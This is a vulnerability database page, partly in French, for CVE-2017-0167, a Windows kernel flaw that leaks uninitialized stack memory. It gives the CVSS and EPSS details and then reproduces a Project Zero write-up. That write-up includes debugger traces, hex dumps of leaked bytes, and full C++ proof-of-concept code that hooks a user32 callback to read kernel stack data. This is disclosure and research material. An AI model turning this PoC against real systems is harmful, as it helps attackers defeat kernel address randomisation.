CVE-2017-0167 : Détail

CVE-2017-0167

5.5
/
MEDIUM
A01-Broken Access Control
0.17%V3
Local
2017-04-12 12:00 +00:00
2017-08-15 07:57 +00:00

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Descriptions

An information disclosure vulnerability exists in Windows 8.1, Windows RT 8.1, Windows Server 2012 R2, Windows 10, and Windows Server 2016 when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system, a.k.a. "Windows Kernel Information Disclosure Vulnerability."

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 41880

Date de publication : 2017-04-12 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1192 We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k!NtUserPaintMenuBar system call, or more specifically, through the user32!fnINLPUAHDRAWMENUITEM user-mode callback (#107 on Windows 10 1607 32-bit). In our tests, the callback is invoked under the following stack trace: --- cut --- a75e6a8c 81b63813 nt!memcpy a75e6aec 9b1bb7bc nt!KeUserModeCallback+0x163 a75e6c10 9b14ff79 win32kfull!SfnINLPUAHDRAWMENUITEM+0x178 a75e6c68 9b1501a3 win32kfull!xxxSendMessageToClient+0xa9 a75e6d20 9b15361c win32kfull!xxxSendTransformableMessageTimeout+0x133 a75e6d44 9b114420 win32kfull!xxxSendMessage+0x20 a75e6dec 9b113adc win32kfull!xxxSendMenuDrawItemMessage+0x102 a75e6e48 9b1138f4 win32kfull!xxxDrawMenuItem+0xee a75e6ecc 9b110955 win32kfull!xxxMenuDraw+0x184 a75e6f08 9b11084e win32kfull!xxxPaintMenuBar+0xe1 a75e6f34 819a8987 win32kfull!NtUserPaintMenuBar+0x7e a75e6f34 77d74d50 nt!KiSystemServicePostCall 00f3f08c 7489666a ntdll!KiFastSystemCallRet 00f3f090 733ea6a8 win32u!NtUserPaintMenuBar+0xa 00f3f194 733e7cef uxtheme!CThemeWnd::NcPaint+0x1fc 00f3f1b8 733ef3c0 uxtheme!OnDwpNcActivate+0x3f 00f3f22c 733ede88 uxtheme!_ThemeDefWindowProc+0x800 00f3f240 75d8c2aa uxtheme!ThemeDefWindowProcW+0x18 00f3f298 75d8be4a USER32!DefWindowProcW+0x14a 00f3f2b4 75db53cf USER32!DefWindowProcWorker+0x2a 00f3f2d8 75db8233 USER32!ButtonWndProcW+0x2f 00f3f304 75d8e638 USER32!_InternalCallWinProc+0x2b 00f3f3dc 75d8e3a5 USER32!UserCallWinProcCheckWow+0x218 00f3f438 75da5d6f USER32!DispatchClientMessage+0xb5 00f3f468 77d74c86 USER32!__fnDWORD+0x3f 00f3f498 74894c3a ntdll!KiUserCallbackDispatcher+0x36 00f3f49c 75d9c1a7 win32u!NtUserCreateWindowEx+0xa 00f3f774 75d9ba68 USER32!VerNtUserCreateWindowEx+0x231 00f3f84c 75d9b908 USER32!CreateWindowInternal+0x157 00f3f88c 000d15b7 USER32!CreateWindowExW+0x38 --- cut --- The layout of the i/o structure passed down to the user-mode callback that we're seeing is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................ 00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ 00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................ --- cut --- Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 20 bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes originally come from a smaller structure of size 0x74, allocated in the stack frame of the win32kfull!xxxSendMenuDrawItemMessage function. We can easily demonstrate the vulnerability with a kernel debugger (WinDbg), by setting a breakpoint at win32kfull!xxxSendMenuDrawItemMessage, filling the local structure with a marker 0x41 ('A') byte after stepping through the function prologue, and then observing that these bytes indeed survived any kind of initialization and are printed out by the attached proof-of-concept program: --- cut --- 3: kd> ba e 1 win32kfull!xxxSendMenuDrawItemMessage 3: kd> g Breakpoint 0 hit win32kfull!xxxSendMenuDrawItemMessage: 9b11431e 8bff mov edi,edi 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x2: 9b114320 55 push ebp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x3: 9b114321 8bec mov ebp,esp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x5: 9b114323 81ec8c000000 sub esp,8Ch 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0xb: 9b114329 a1e0dd389b mov eax,dword ptr [win32kfull!__security_cookie (9b38dde0)] 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x10: 9b11432e 33c5 xor eax,ebp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x12: 9b114330 8945fc mov dword ptr [ebp-4],eax 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x15: 9b114333 833d0ca6389b00 cmp dword ptr [win32kfull!gihmodUserApiHook (9b38a60c)],0 1: kd> f ebp-78 ebp-78+74-1 41 Filled 0x74 bytes 1: kd> g --- cut --- Then, the relevant part of the PoC output should be similar to the following: --- cut --- 00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................ 00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9........... 00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a............... 00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a... 00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:........... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........ --- cut --- The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified, uninitialized form. If we don't manually insert markers into the kernel stack, an example output of the PoC can be as follows: --- cut --- 00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................ 00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9........... 00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G........... 00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2........... 00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G............... 00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:........... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............(... 00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^.. 00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........ --- cut --- Starting at offset 0x6C, we can observe leaked contents of a kernel _EH3_EXCEPTION_REGISTRATION structure: .Next = 0x81abd328 .ExceptionHandler = 0x9b20aa80 .ScopeTable = 0xaffb2633 .TryLevel = 0xfffffffe This immediately discloses the address of the kernel-mode stack and the win32k image in memory -- information that is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, or disclose other sensitive data stored in the kernel address space. */ #include <Windows.h> #include <cstdio> namespace globals { LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID); } // namespace globals; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } PVOID *GetUser32DispatchTable() { __asm{ mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) { printf("----------\n"); PrintHex((PBYTE)Data, 0x88); return globals::Orig_fnINLPUAHDRAWMENUITEM(Data); } int main() { // Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function. // The #107 index is specific to Windows 10 1607 32-bit. if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) { return 1; } // Create a menu. HMENU hmenu = CreateMenu(); AppendMenu(hmenu, MF_STRING, 1337, L"Menu item"); // Create a window with the menu in order to trigger the vulnerability. HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0); DestroyWindow(hwnd); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securityfocus.com/bid/97473
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41880/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038239
Tags : vdb-entry, x_refsource_SECTRACK
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